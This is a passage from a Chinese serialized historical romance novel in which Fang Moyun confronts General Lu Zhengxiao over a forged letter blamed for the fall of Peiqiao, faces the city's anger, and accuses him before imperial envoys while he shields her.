茉云握住药碗的指节微微收紧，但她的目光依旧冰冷，她将药碗端起，仰头一饮而尽。
正啸眼底掠过一丝疲惫，却终究什么亦没有说，看见茉云将药服下，心中终于松了一口气。此时执礼在门外轻轻禀报，说有要事汇报。
正啸抬手示意让万莫进来，守在了茉云身旁，自己走了出去，走出去之时萧怀逸说道：“刚刚收到信，现在裴桥军心大创，民心不稳……”
“跟我来……”正啸显然示意让他们离房间远点，不想这些纷扰再打扰茉云养病。
茉云靠在床上，二花帮她在身后垫了个枕头，万莫一脸憨却担忧的看着茉云。
茉云抬目望向他眼神才温和了几分，指着他脸上的伤痕说道：“脸如何伤的？”
万莫才想起随意的擦擦说道：“应该是昨天晚上山里被树枝子刮的！”
“你大晚上去山里干嘛？”白神医无语的往自己医箱里找着金创药。
“主子将剑丢下了悬崖，我爬下去找剑去了！”万莫理所当然的说道。
“万莫兄弟，你怎么不叫我一起，路我熟啊！”王胖子拍着胸脯热情地说道，之前在县城里王胖子就和万莫一见如故。
万莫一脸憨笑的说道：“已经找到了！”
“找到现在才回？”茉云望向万莫问道。
“没有！”万莫开心的从怀中掏出了饼递给大家说道，“你上次说谷山县县城衙门大道上早上有个卖饼的，我想着下山时天刚亮，还早，我就去买饼了！吃吗？”
门外的千山听见了，一脸的怒意，威行却忍不住被逗乐了。
王胖子顿时开心的拿过来，扯开一半递给二花，然后两人开心的咬了起来：“还是热的，好吃，还是万莫兄弟仗义，你看你来我家，我都还没有招待你，你先给我带了吃的，我等下让二花给你做几个好菜。”
万莫顿时一脸憨笑的点点头，然后递给了茉云一个，茉云接过了烧饼，咬了一口表情也终于缓和了几分。
就在此时，正啸推门而入，瞬间，房间里那点残存的温和，好似被一阵冷风吹散，茉云脸上原本的温和瞬间凝固，眼神如冰，像是一堵无声的冰墙。
正啸自然感觉到了这股寒意，他顿了顿轻轻吸了一口气后，看向万莫下令道：“万莫，守在这里，寸步不离。”
万莫没有犹豫地立刻应声：“是。”
说完，正啸没有再发一言，转身离开了房间。白神医叹了一口气看向茉云：“茉云，若这世上正啸都要害你，他又何苦次次上天入地般寻你？”
茉云闻言却不为所动，目光始终冷冽，神情中只有决绝的锋芒。
萧怀逸站在屋外，深吸一口气对身旁的执礼轻声说道：“如此女子，色厉胆大，城府极深，狠戾冷漠，甚至都不信正啸哥……正啸哥何以如此在意她？”
执礼听罢沉默片刻，眼神复杂地看了看怀逸，又转头望向千山守着的那张紧闭的门，
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吸了一口气说道：“初见她时，我亦是费尽心机，想将她从少主身边赶走，后来才发现，不但我赶不走，少主也不会让她走。”
萧怀逸闻言皱了皱眉，似乎欲言又止，却最终什么也没说，只是远远看着……
入夜之时，正啸与执礼在房里商议，如何回若辰的信，处置裴桥的军心和民怨，他起身想去看一下茉云，经过厨房之时，却看见万莫从里面走了出来。
千山吃了一惊旋即问道：“你为何在此处？”
万莫坦率的说道：“茉云说她饿了，说让我来给他找点吃的。”
话音未落，正啸疾步赶到了茉云的房间，果不其然房内空无一人，床边挂着的剑亦不见了！
正啸转身便飞身就出了院门，连千山万莫都没有跟上他的步伐，瞬间消失在暗黑的夜里。
夜里的村路寂静无声，茉云警觉地观察了四周的动静，确认没有异常后，她悄然出了村口。
夜风夹杂着淡淡的凉意，她的脚步匆忙却带着决绝，转过村口小路，刚踏上大道，前方一道熟悉而魁梧的身影映入眼帘，那双愤怒却极力压抑心中情绪的眼眸，如此熟悉……
她的步伐顿住，眸光一冷，声音如寒刃般斩落：“让开。”
卢正啸望向茉云，她居然如此不顾安危，让他终于再也克制不住心中的怒气，厉声吼道：“方茉云！若不信我，可来问我，查我！我若骗你，你亦可杀我！但不要拿自己的小命当玩笑！”
茉云抬头，目光如利剑般与他对视，丝毫不退让，语气中带着同样的愤怒：“那信若不是你写，为何裴桥周边被你安排重兵把守？还把马鹏飞调来！你分明就是知道幽戎会来，裴桥定会出事！”
正啸闻言脸色更加铁青，胸膛剧烈起伏，他万般压抑的说：“对！我是担心裴桥有恙，所以我不想你去裴桥！”
茉云冷冷一笑，那笑容中带着深深的怀疑与嘲讽：“可最后南营不还是一盘大棋，什么军中传闻任人唯亲，把我逼去了裴桥吗？”
正啸的身形微微一震，他深吸一口气，就算再极力克制，可眼底的隐痛却掩盖不住。
茉云滔天的怒意终于爆发，她瞪着正啸，声音中全是愤怒与悲凉，吼道：“此计当属绝妙！若死我认！但为何要崔老将军和老马和、全裴桥来陪葬？”
正啸的瞳孔微缩，拳头紧握吼道：“因为我不知道……自己认为你不该去，是否出于私念！”
月光如此清冷，正啸亦是第一次再茉云眼中，看见如此冰冷和疏离的怀疑，他只觉得像什么沉重的东西堵在胸口。
“所有军中老将包括父帅皆认为，峑戎不可能短时间内再攻裴桥。我知他们所言非虚，行兵打仗这么短的时间，又无必胜把握，再带兵攻打裴桥，除非他疯了！”他再也克制不住的吼道：“可我偏偏觉得他会，没有任何兵法与道理可解释……因为你若不见，我去寻你，亦跟疯子无异！”
茉云静静地看着他，眼底的情绪闪过一丝晦暗不明的变化。
“可这个缘由说服不了父帅，亦拦不住你……!”他还未说完这句话，整个人仿佛被燃烧抽空一般站在那里，风吹过衣摆翻动，却吹不散他眼底的挣扎与沉痛。
茉云双拳微微握紧，却终究没有再说话，良久后，她只是转身背对着正啸，目光沉沉地看向远方裴桥的方向:“我要回裴桥！”
正啸怔了半刻，他下午收到了若辰之信，裴桥经历了这场惨烈后，民怨沸腾，城中百姓与边关将士看着满目疮痍和所失至亲，都处于愤怒而崩溃的边缘。茉云此时若回裴桥，稍有不慎便会成为众矢之的，被人视为裴桥的千古罪人。
然而，茉云的眼神却依旧冷静，带着一种令人望而生畏的决绝。她抬头看向裴桥的方向，目光深邃，透着寒风般的凌厉与执拗:“信，我会查。可是裴桥城中，里应外合、给将士和百姓下毒之人，更该千刀万剐……不急，一个个来。”
正啸深吸一口气：“好，我带你回裴桥，但现在先跟我回去。”
茉云站在寒风中，目光仍紧紧望向裴桥的方向，立在寒风中如同一座冰雕般冷峻坚韧。
256.寒意
翌日清晨，晨曦微露，寒风依旧。正啸不顾众人的劝阻，毅然带茉云动身回裴桥，执礼神情复杂却一言不发，他心里清楚，一旦这是茉云的决定，而正啸也允了，那便是再无回旋的余地。
一路上，茉云始终冷漠如冰，除了万莫，几乎谁也不搭理。她好似完全变了一个人，话少得令人窒息，眉眼中尽是与世隔绝的冷意。
然而，无论她的态度多么冷漠，正啸虽不言，但一路上都细心照看着她的一切，他知晓身边有想害茉云之人，可他没查出是谁，他只能谨慎至极的用自己挡在她危险之前，甚至每次她用膳之前，他都会先亲自试过她的饭食。
直到抵达裴桥，车架缓缓进入了这座满目疮痍的城池。茉云坐在马车中，掀起帘子望向街道，裴桥的街道上，一片凋零，惨淡萧条，行人稀少，满地残破的砖瓦和焦黑的废墟，让这座曾经热闹城池显得格外落寞。
若辰站在城门旁，远远望见马车驶近刺史府，他脸色稍显阴沉，快步迎上前，便质问正啸道：“如此情况下，你为何还带茉云前来？哀民悲痛之下，常失理智，这不是送她入虎口吗？”
正啸双眉微蹙未多做解释，茉云则下了马车，冷冷地直接走入了刺史府的大门，谁也没有理睬，步伐没有一丝迟疑。
执礼轻轻叹了一口气，看向若辰解释道：“她要回裴桥，谁也拦不住！”
此时的刺史府后院，苏云青尚未死，但重伤昏迷至今未醒。苏大人的母亲苏老夫人知道茉云回到裴桥便怒不可遏，顿时目眦欲裂，冲出了后院。
她愤怒地指着她，全然忘却了平日里的端庄和持重，吼道：“方茉云！你这个害人精！你还敢回来！我当日就知道，我儿这一生终将受你所累！最终还是逃不开你的魔爪！”
老夫人的话声高亢尖利，刺耳地在院中回荡，众人都惊愕的看了过来。然而，茉云的神情没有丝毫动容，她只是冷冷看了老夫人一眼，径直走入府衙内堂，苏老夫人那满腔怒火根本不足以撼动她分毫。
然而，这一场闹剧却像一阵风，迅速传遍了整个裴桥。全城的人很快得知，方茉云回到了裴桥刺史府。顷刻之间，群情激奋，当日裴桥之战，她不现身，致使裴桥陷入险境，裴桥的百姓早已将这一切的灾祸都归咎于茉云，而如今她却大摇大摆地回来了。
刺史府外，街头巷尾地民众情绪愈发激动，纷纷指责茉云置万民性命于不顾，将裴桥推向深渊。
正啸派出边军镇守刺史府，若辰亦在在街头巷尾加强巡逻，防止有人利用民众的愤怒煽动暴动。
可哀民终究难以控制，他们逐渐集结在刺史府前，愤怒的喊声震天动地，要求巡抚大人和大将军交出方茉云，给所有逝去的裴桥人一个交代。
场面逐渐失控，刺史府的大门外，人山人海，怒火冲天。
就在这时，茉云冷然走了出来。她的身影在寒风中格外挺拔，守在刺史府门口的沧海都几乎无法拦住她，眼睁睁看着她提剑走向门口。
她站在那里，一动不动，凛然的气势如同一把未出鞘的利刃，让嘈杂的人群瞬间安静下来。
“我方茉云，愿意将这条命交在裴桥。”茉云目光冷冽如霜，声音并不高亢，却字字清晰，“但我一定要查明，那个在军营下毒、打开边关大门，放峑戎杀手进来之人！请诸位给我些时间查明，害我、害裴桥之人，必须要跟我一起下地狱！”
人群寂静了片刻，随即有人高声吼道：“谁知道你是不是缓兵之计，拖延时间！”
茉云闻言，嘴角扬起一抹阴鸷的冷笑，眼神中透出一丝狠戾：“我只要十日的时间。”
就在此时，苏云青的夫人安群芳缓缓走了出来。她身着素衣，神色平静，却带着一种不容抗拒的威严。
她是裴桥的名门之后，其父安大人更是裴桥历史上最得民心的刺史，当年在南境遭受铁骑踏破之时，正是他力主重建裴桥边关，才保住了这座城池。因而，安家的威望在裴桥极高。
安群芳走到人群前，平静却清晰地开口：“方将军业已说明，请诸位给她一个喘息的机会，让她查出真相……”
她的声音一落，人群陷入短暂的沉默。她在裴桥的威望终于压制了民众的愤怒，最终，他们渐渐暂时退去，刺史府的大门缓缓关闭。
茉云缓缓转身，望向安群芳说道：“谢谢苏夫人此时还能仗义相救！”
“您言重了，云青若醒来，定然亦会希望我略尽绵薄之力。”
茉云望向安群芳微微行礼，然后冷冷的转身回到了自己的房间，不到一炷香的时间，若辰和季岚轻轻地推门进来了。
“十日之期，你打算如何破案？”
茉云轻轻的倒着桌上的茶，却发现自己用具，皆换成了银器。
“茉云，这世上你若正啸都不信……”
“这世上我谁都不信之时，才属利剑！”茉云轻轻喝了一口银杯中茶，双眉微蹙，好难喝，“怎会有如今的狼狈。”
“茉云！”
“关若辰。”茉云则忽然嘴角渗出一丝寒戾的笑容：“若他实乃道貌岸然之辈，你定比我恐慌百倍吧。那这人世于你真是太寒心了。”
若辰顿时深抽一口气望向茉云，季岚双眉微蹙担忧的看了一眼若辰，当茉云浑身棱角张开之时，刺人总是这般疼……
就在这时，门外传来一个怯懦的声音：“茉云姐姐……您可在房中？”
茉云抬目望向门口，淡淡地说道：“进来。”
门被轻轻推开，一个身着素色棉衣的女子低着头走了进来。她的步伐拘谨，神色恭敬中透着些许怯懦，双手紧张地绞着衣角。那人正是静芸——苏云青自小的丫鬟，如今已经是苏云青的妾室。
“姐姐……”静芸抬起头，泪水已经如断线的珠子一般滚落下来，声音颤抖得近乎哽咽，“如今……云青少爷昏迷不醒，您可否……可否到他床前，唤他一二，看他能否醒来。”
她话音刚落，便见茉云缓缓放下手中的茶杯，抬起眼，望着眼前这个低垂着头、一脸泪痕的女子。她自当年来退婚之时离开苏府后，便再未见过她。
静芸抬头才意识到房中还有巡抚大人夫妇在场，这才猛地回过神来，惊觉自己的失礼。她慌忙跪下，急急地说道：“巡抚大人，请恕罪，奴婢一时情急，冒犯了……”
茉云瞥了她一眼，缓缓道：“无碍。你啊，还是自小的这个样子，凡事总是忙着认错。”
静芸怔住了，抬起泪眼望向茉云，眼中满是复杂的情绪，还有一丝深深的崇敬。
茉云再次拿起茶杯轻轻喝了一口，随后放下，声音依旧冷淡：“要我去看苏云青……你家老夫人和少夫人可知晓？”
静芸听到这句话，瞬间愣住了。她的脸上闪过一抹犹豫和惶恐，显然，她还未曾考虑过这个问题。
茉云嘴角勾起一抹冰冷的笑意：“莫等我将他叫醒，结果把其余人气去了西天。”
静芸闻言脸色顿时一白，不知道该如何回应。房间里一时陷入寂静，若辰夫妇坐在一旁，眉头微微皱起，却终究没有插话。
静芸咬了咬牙，眼中闪过一抹决然。她再次跪下，重重磕了一头，哽咽着说道：“姐姐，我求您，无论如何，请您去看看少爷吧！奴婢……奴婢愿担下一切责罚！”
茉云微微皱眉，冷冷地看向静芸。
静芸顷刻间泪流满面：“姐姐，我知道昔日苏家对您……，可少爷从始至终待您至情至性……求求您去看看他吧。”
茉云看着她那满是泪水的脸，手指无意识地在茶杯边沿摩挲了几下，却依旧沉默不语。她的目光望向窗外，那纷纷扬扬的雪又下了起来，若飞雪漫天却掩盖不了世上的恩怨情仇。
良久，她才缓缓开口，声音依旧冷淡，却不再那么尖锐：“起来吧。我等会儿去看看。”
半个时辰后，茉云跟随白神医一同踏入了苏云青的房间。
房内静谧而压抑，沉重的气氛令人窒息。苏老夫人端坐在一旁，满脸阴沉眉头深深锁着。她的目光时不时扫过茉云，眼神中透着深深的憎恶，但她碍于白神医救治自己儿子面子，终究隐忍未发，。
白神医将随身的银针袋放下，开始为苏云青施针。茉云站在一旁，目光落在床上那张苍白消瘦的面孔上，苏云青静静地躺着，呼吸微弱，仿佛随时会被这世间的风吹散。他的眉宇间依旧带着一丝温润，却显得那般虚弱。
茉云沉默了良久，终是轻轻开口，像幼时的口气：“苏云青，起来了……你说过要带我去城里找那颗不酸的桔子树的，可不能哐我。”
这句话落下的一瞬间，房间内似乎连空气都停滞了。就在这一片寂静中，静芸忽然惊呼了一声，喜笑颜开：“你看，少爷的手指……刚刚动了！少爷的手指刚动了！”
她的话像一道惊雷炸开，打破了房内沉闷的气氛。苏老夫人猛地抬起头，满脸不可置信地看向静芸，急切地问道：“动了吗？你确定云青能动了？”
静芸连连点头，泪水早已模糊了她的视线，她一边擦着眼角的泪水，一边激动地说道：“是的，老夫人！少爷定然听到了茉云姐姐的声音，他的手指真的动了！假以时日，少爷一定能醒过来！”
苏老夫人呆住了，目光一瞬不瞬地盯着苏云青的手，脸上写满了惊喜，好似长久的绝望终于有了一丝希望。
静芸此时忽然转身，扑通一声跪在茉云的面前，眼中带着恳求与崇敬，声音颤抖：“姐姐，求您每日来唤唤少爷吧！他一定会很快醒来的！”
苏老夫人此时听到静芸的话，猛地抬起头看向茉云。她的目光复杂而纠结，眼底有着压抑的怒意与不甘，但最终她咬了咬牙，终究没有说出任何反对的话。
而在一旁，苏少夫人安群芳怔怔地看着自己的夫君，不曾想到，仅仅是茉云的一句话，他竟然真的有
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所反应……
茉云则沉默片刻，声音依旧淡然：“好。”
说罢，她转身迈步离开，未再多留一刻。门外，茉云抬头看向灰蒙蒙的天空，雪花依旧缓缓飘落，寒风刺骨。就在此时，传来了通报声，皇上派来的钦差到达了裴桥刺史府，
刺史府的大门前，此刻聚集了不少人。钦差大人刑部侍郎罗景城与御史台余震大人一同抵达，马车在府前停下，侍卫们迅速将道路清理开来，气氛肃杀而压抑。
若辰马上带人出门迎接，执礼亦跟着上前行礼，他不紧怔了半刻，圣上居然派了刑部和御史台两位最严苛的大人来查办此事，此两位大人前来定然是办人的，但是他两和少主实乃莫逆之交，那圣上是何意？裴桥被破之责，圣上会让谁来承担？
若辰将他们迎入刺史府，而与此同时，茉云的身影也出现了，罗景城还未来得及和众人寒暄，目光立刻看向茉云，眼神中闪过一丝凌厉的怒火。他深吸一口气，声音洪亮而严肃：“方茉云，接旨！”
随着他的声音落下，众人纷纷跪下，气氛顿时更加凝重了几分。
罗景城威严地的说道：“圣上口谕，方茉云，你好大的胆子，身为大将军麾下之将，竟敢如此污蔑朕亲封的大将军。限你五日之内，协同钦差查明此案，否则朕定办你，以慰军心！”
这几句话一出，周围的人纷纷露出震惊之色，尤其是执礼。圣旨的矛头竟然直接指向了方茉云，他们是来办茉云的？而且圣旨之中所言茉云告将军是何意？
罗景城宣读完圣旨后，目光冷冷地扫向茉云，而余震亦紧皱着眉头，他们的态度一目了然，明显带着不加掩饰的质问与不满。
就在此时，正啸刚赶到进入府衙，铁血之气扑面而来，身后紧跟着萧怀逸。他亦双眉紧皱，刚到刺史府门口，便听到了罗景城宣读圣旨的最后几句。
两人一入内，更是听见罗景城怒声呵斥：“方茉云，你怎可上这样的奏折到御史台状告卢正啸！”
这一声怒斥，顿时像是一道惊雷炸开。众人皆大吃一惊，纷纷将目光投向茉云，脸上写满了难以置信。
“你上书？告大将军？”威行顿时露出震惊的表情，忍不住看向茉云，似乎在试图确认这一切到底是真是假，众人心中都掀起了惊涛骇浪。
而茉云只是缓缓抬起头，目光冷冽如刀，直视着罗景城和余震的目光。她的语气冰冷而不屑：“尔等遇见了道貌岸然、霍乱超纲的奸臣，不检举揭发的吗？”
这句话像一柄利剑直接刺入众人的耳中。
罗景城顿时气得脸色涨红，怒不可遏地反驳道：“大战在即，你知道你这一封奏折意味着什么吗？！”
茉云却丝毫不为所动，反而冷冷地笑了，那笑容中透出她一贯地狠戾：“若我所告为实，意味着那些你们的反对者说得对——卢正啸此人，好大喜功，嗜血好战，为博一己不世之功，可毁天灭地，置南境生灵涂炭，实乃奸臣！”
这句话一出口，刺史府门前一片寂静，仿佛连雪花落下的声音都能听得一清二楚。
卢正啸的脚步猛地停住，他的目光直直地落在茉云身上，她亲口说出之话，一字一句，像是一刀一箭，能生生割裂五脏六腑。
而跟在他身后的萧怀逸，终于忍无可忍。猛地向前一步，眼中燃着怒火，指着茉云大声吼道：“方茉云！你好大的胆子！竟敢如此污蔑大将军！你明知他为南境付出了多少？他不顾生死为你们南境万民守住边关，你竟然——”
“那不是大将军职责所在吗？”茉云冷冷打断了萧怀逸的怒吼，目光转向他，语气冰冷而讽刺，“若无不顾生死驻守边关，本就是邀功请赏的资本，这也无可厚非，可一个能置裴桥万民生死于儿戏地将帅，给南境带不来光明，只有生灵涂炭！”
萧怀逸被噎住，眼中满是怒火，但却一时之间说不出反驳的话来。
卢正啸紧紧攥着拳头，目光沉重地望向茉云，咬牙说道：“你就如此笃定信是我写？”
茉云冷冷地回视他，眼中没有丝毫温情，只是吐出一句冰冷的话：“不然大将军告诉属下，是谁写的？”
“茉云，自从中州起，你和正啸都是彼此无条件的相互信任，才一路逢凶化吉，走至今日！”若辰深吸一口气望向茉云说道。
“此言差异，自中州开始，卢正啸屡次不假思索的训斥我，赶走我，甚至牺牲掉我，为了自己家乡南境的大业，我皆可忍受，可体谅！可如今这是满城的性命，还有崔老将军和老马！”
说完，茉云咬尽牙关不再看任何人，径直转身走进刺史府内，只留下一片死寂的众人。
罗景城与余震对视一眼，皆是眉头紧锁，显然亦拿茉云着实无可奈何。
而卢正啸将目光抽离她的背影，眼中尽是深深的痛楚与疲惫。裴桥的雪依然在下，天地间一片冷寂，但那刺骨的寒意，却不及此刻刺在心头的寒意。
257.坚定
众人一行进入府衙内的书房，房间内的气氛沉重得让人透不过气来。
罗景城目光冷峻地扫过众人，叹息了一口气缓缓开口：“京城的局势，如今比这裴桥还要混乱。”
他说话的语气低沉而压抑，众人目光凝视着他，没有一个人开口打断。
“此次裴桥之祸和盟国集梁被破，皇上震怒，朝中众人本以为不日圣上便会下旨开战，乃大势所趋，可是……”罗景城顿了顿，目光转向正啸，“方茉云的这份奏疏送到御史台后，便如同在油锅里扔了一颗火星，把整个朝堂都炸开了锅。”
正啸坐在一旁，面容淡然毫无波澜，眼神里尽是冷意。
景城眉头紧皱看向正啸，继续说道：“如今这份奏疏成了反战派死死抓住不放的最后一根稻草。你可知我来之时，朝堂上的争论有多激烈？甚至连太师都亲自上朝，力请皇上彻查此事，说是你挑起战事。”
这句话落下，书房内顿时一片沉默，气氛压抑得可怕，每个人的眼中带着深深的担忧。他们都明白，朝堂内反战派与主战派势力胶着已久，而茉云的奏疏，却成为了他们临门一脚之时，敌人最有力的筹码。
而更严重的是，这份奏疏不仅影响了战局，还把矛头直指卢正啸，这使得局势变得铺所迷离。
坐在一旁的正啸面容如同一座冷峻的雕像，没有任何波澜，但那双眼睛却透出了反常地疲惫。
“正啸，如今皇上的态度虽不明朗，但从临行前圣上找间我之时的态度……皇上未必会罢战。可是——”景城顿了顿，声音变得低沉而缓慢，“皇上可能会将方茉云治罪，说她是为躲避责罚而攀咬于你，让她承下裴桥之责，以此平息朝堂上的争议，为开战扫清障碍。”
话音一落，书房内一片死寂。所有人都明白，若是裴桥之乱的责任落在茉云身上，她必然无法全身而退，以皇上震怒的态度，茉云的结局定是治罪问斩。
书房内的气氛更加凝重，所有人都将震惊地目光投向景城，此时，正啸终于斩钉截铁的开口了。
他的声音低沉，却好似压抑着巨大的情绪波动：“并非她之罪，为何要让她承担？”
简单的一句话，却如同一声惊雷，将所有人的目光拉向了他。萧怀逸更是满脸惊讶地看向正啸，此时此刻他还在护着方茉云。
正啸抬起头，眼神深邃而复杂，带着难以掩饰的疲惫，但依旧不容质疑地说道:“案子你们如实查便是，但是方茉云于裴桥没有半分罪过，绝不可能将裴桥之失的罪名安在她的身上。”
萧怀逸想说什么，却被执礼按住了肩膀。执礼微微摇头，示意他不要再说下去。
书房内再次陷入寂静，正啸起身迈步走出书房，背影挺直而冷峻，身后之人见到他的背影，都无不感到压抑与沉重，仿佛这场裴桥之乱还未结束，还在一点点吞噬着所有人。
接下来的日子里，各方之力量皆在查此案。
余震拿起那张告示上贴着的已经有些残破的飞鸽传书，望向茉云问道：“此信确实像是大将军所书，这份力道旁人轻易模仿不出，何况还是他的纸笔墨。”
“余大人，我乃刑名官员出生，又在卢正啸身边履职多年，我都看不出丝毫破绽。”
余震深吸一口气说道:“可是单凭此没有私印之信，不可能如你所言定大将军的罪！”
“我知道，那便请余大人转告卢将军，这一局我死他赢，我看他能笑到几时！”茉云冷冷的说道。
余大人身边的伍大人瞬间起身指着那封信望向茉云说道：“方茉云，你此番是真的被气疯了吗？”
茉云神情依旧是一副不冷不热的淡然，余震则双眉紧皱的看着茉云，半刻之后，他亦没有表情的起身走了，茉云嘴角却冷冷上扬，望向余震等人离去的背影，好戏是要慢慢上演了吧？
连日来，茉云睡到日上三竿，好吃好睡，除了不如平日里那般嬉笑，其余与往日无异，只是每日都会去探望苏云青，时常忆起当年幼时轻松快乐的日子。
而实则刺史府内气氛凝重如山，期限将至，整个裴桥的焦灼与愤怒正逼近临界点，而茉云的承诺如刀般悬在每个人心头。圣上的五日之期亦快到了，她的头亦只是悬在自己脖子上……
这日清晨，正啸步入刺史府的议事堂，巡抚大人若辰、钦差大人罗景城和御史台余震皆列席其中，众人沉默，因为几日过去，案情没有一丝进展，当日军营中清醒之人皆被灭口，城中一点蛛丝马迹都没有。
片刻后，御史台的余大人沉吟片刻，打破了沉默：“大将军，为今之计，我等未查出任何实证能够证明是大将军挑起战事。然而，方茉云她说……”
他话语未尽，语气却已经沉重得让人喘不过气。余大人顿了一下，似在斟酌如何开口。
罗景城眉头紧蹙，语气急切地追问：“她说什么？”
余大人最终看向正啸，声音平静的说：“她说，这一局，她死，您赢。她说看您能笑到几时。”
话音落下，整个厅堂陷入死一般的寂静。众人沉默中带着难以置信的复杂情绪。正啸一言未发，指节却紧握得微微发白，眼中闪过极力压抑的情绪。
最终，他深吸一口气，声音低沉地说道：“有劳罗大人和余大人如实向朝廷上奏。虽无实证，但方茉云所疑并非空穴来风。裴桥之祸，并非她之责，是我边关布局失利，请皇上圣断。我亦会上奏折请罪。”
正啸话音一落，厅中一片震惊，所有人都不可置信地看向他。在此刻，正啸居然没有断然否认此信和自己的干系，反而用“并非空穴来风”六个字来形容，这岂不是将自己推向风口浪尖，而且他还将裴桥之失的罪责揽到自己身上！
萧怀逸顿时站起身，震惊地看着他，语气中带着从未有过地怒意：“正啸哥！此时，您还要护着她？！”
执礼亦眉头紧锁，声音中透着难掩的焦虑：“少主！您如此……不是将自己置于万丈深渊吗？”
正啸没有再回应，起身便走出了房间，背影笼罩着一层难以言喻的疲惫。可当他刚走出刺史府，却迎面撞上了一片汹涌的人群。府外已聚集了大量裴桥的民众，愤怒的喊声如潮水般涌来。
茉云承诺的时限将至，她却始终未能找出裴桥城内的罪魁祸首。愤怒的民众已难以克制情绪，他们举着状纸，怒骂成群，讨伐茉云的声音震耳欲聋。领头的几人身穿孝服，眼中含泪，义愤填膺地站在队伍最前。
声浪越来越大，人群亦愈发激动，似乎下一刻便会冲破防线，冲进府衙。正啸深吸一口气，转身厉声下令：“沧海，带兵守好刺史府！”
“是！”
就在此时，为首之人咬着牙，双目赤红，含着泪像正啸控诉般的质问道：“传闻中的大将军英明神武，护南境万民！为何……为何屡屡维护此妖孽？！她一人之过，竟让裴桥城陷入这等悲惨境地！”
正啸冷然望向此人，怒目而视，目光锋利如刀。然而，当他看到那人满脸的悲愤与绝望时，他的眼神微微一颤，愣住了半刻……
最终他未再说什么，翻身上马，毫不犹豫地扬鞭离去。裴桥的寒风卷起他的披风，掩盖住了他眼底的情绪。他没有回头，直奔裴桥边营而去，马蹄声渐行渐远。
府衙内气氛凝重，众人虽同处一堂，却各有各的情绪。
钦差罗大人面色铁青，双目盯向执礼，猛地一拍桌案吼道：“皇上都不得已弃车保帅，你主子却要弃帅保车？你自己去好好问问他，到底是军国大事重要，还是……”
话未说尽，他却说不下去了，茉云亦是他师妹，来之时师傅师娘一直嘱托自己正啸和茉云都不能有事，可自己又如何能两全，只能此刻拂袖转身忿然离去。
余大人静默片刻，只淡淡地扫了众人一眼，一个字都未多说转身离开，步履轻缓却严峻。
房中只余萧怀逸、若辰与执礼，气氛愈加压抑。萧怀逸本在隐忍，此时却再也抑制不住，望向执礼：“正啸哥难道会为了方茉云舍弃南境大业？”
“他不会！他有分寸！”若辰斩钉截铁的说道，“事已至此，峑戎终将一战，此事危及不了南境战事，只会伤及他自身，不过是背骂名罢了！”
“若辰哥，我等难道坐视正啸哥被她蛊惑？”
若辰端坐一旁，放下手中的茶杯，语气虽平，却透着无可辩驳的笃定：“卢正啸定会护方茉云。
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圣上知其决心，定然也不会处置茉云。何况从头到尾，方茉云并没有做错什么。”
“她没有做错？”萧怀逸厉声反驳，眼中寒光如霜，“她连最起码的忠诚都没有！”
执礼轻叹一声，深吸口气透着无奈：“少主怎会不知方茉云的性子，事已至此，她不可能不查。”
“查？”萧怀逸冷笑出声，面露讥讽，“她倒是有能力查出这裴桥的真相啊！如今的局面是谁造成就让谁承担，决不能让正啸哥承受这等污名！”
若辰缓缓抬眸，目光深沉地对上萧怀逸，语气严肃而低沉：“怀逸，恕我直言，我等，包括你，谁都没有这个能耐改变正啸的主意。卢正啸自与方茉云相识，便会护她到底。”
执礼点点头，神情复杂，语气却坚定：“昔日方茉云拉箭射少主下马，或是投靠暗营之时，少主都未曾放弃她，更不会将她逼上绝路。而如今的局面，若要问责，也该是当初冒充少主写信之人和为杀手开城门之人联手所致。尚不论是否有人能改变少主的决议，您想想，钦差大人罗大人还好说，但御史台余大人呢？事已至此，他定会据实上报！”
屋内一片寂静，空气仿佛凝滞。执礼一字一句道：“为今之计，没有转圜，他绝不会让方茉云顶罪。我们只能想方设法，为少主力挽狂澜，减免罪责。”
若辰深吸一口气，缓缓点头。萧怀逸则呆愣片刻，又瞬间起身，从府衙冲出直奔边关军营，马蹄声急促如鼓，他脸上皆是掩饰不住的愤怒与焦急，眼神直逼前方的营帐，他想要个答案。
萧怀逸一跃下马，掀开帐帘冲了进去，却见卢正啸一身戎装，端坐书案前，手中笔墨流转，正在写请罪折子。他的身影显得异常冷峻，仿佛一座巍然不可动摇的山。
萧怀逸看向那请罪奏折，语气中透着不可置信与失控：“正啸哥，您何罪之有？”
他的声音带着不加掩饰的急迫，似乎希望唤醒眼前这个他从小敬仰的兄长。
卢正啸却未抬头，手中继续在纸上书写，语气冷淡而平静：“你出去吧。”
这平淡的一句话，像一盆冷水浇在萧怀逸头上，但也彻底点燃了他的怒火。
他猛然上前一步，声音拔高了几分：“正啸哥，若迅速平息此事，朝廷马上将会向峑戎宣战！我就问您一句，您宁可弃这一切也要护她吗？”
卢正啸连头都没有抬，眼神始终落在案前的奏折上，吐出的一个字却斩钉截铁：“对。”
这简单的一字，宛若惊雷在萧怀逸耳边炸响。他愣在原地，整个人如被定住一般。
他喃喃道：“您……您还是我幼时认识的那个心中只有国家和万民的卢正啸吗？”
卢正啸眼神中透着坚定而冰冷的光，每一字都如此决然：“她无罪，我绝不会让她有事！”
萧怀逸的身影僵住，嘴唇颤动却发不出声音。帐外寒风呼啸，吹动营帐一角，仿佛昭示着一场更大的风暴即将到来。
当萧怀逸走出营帐之时，灵魂好像出窍一般。
“萧小王爷，您觉得我家少主在您幼时为何会救你！”执礼亦跟着萧怀逸来了边关军营，看见萧怀逸失魂落魄的样子问道。
怀逸抬目看向执礼，深吸了一口气，他也曾经无数次的想过这个问题的答案。
“因为少主心中不只有朝廷，他还固执的坚守着是非、正义、曲直，当日少主本已在朝中腹背受敌，受到诸多非议，卢老太君终日谆谆教诲，我卢家人在外绝不可招惹是非，可他还是揍了那些趋炎附势之徒，将当日一名不文的您从湖中救起，而您定然知道，军中人牵扯王爷子嗣乃大忌，他该不该救您，您心里自有掂量！”
怀逸深吸一口气看向执礼，好似一瞬间回忆起当年那窒息的暗潭，自己都已经放弃了挣扎，因为更可怕的是对人世极深的憎恶，可是忽然有一只有力的手将自己提出了水面，就在那一刻，光芒好似亦照了过来……
执礼抬目望向阳光，缓缓地说道：“这一路走来，少主的坚持让他异常艰辛，可他却初心不改，这才是您认识的我家少主，他从未变过。何况那人是——方茉云。她压根不需要出言蛊惑，在少主那儿，任何人都撼动不了她。”
258.恨意
萧怀逸沉默了片刻，目光复杂地望向执礼，眼神中带着一种无法掩饰的怅然。
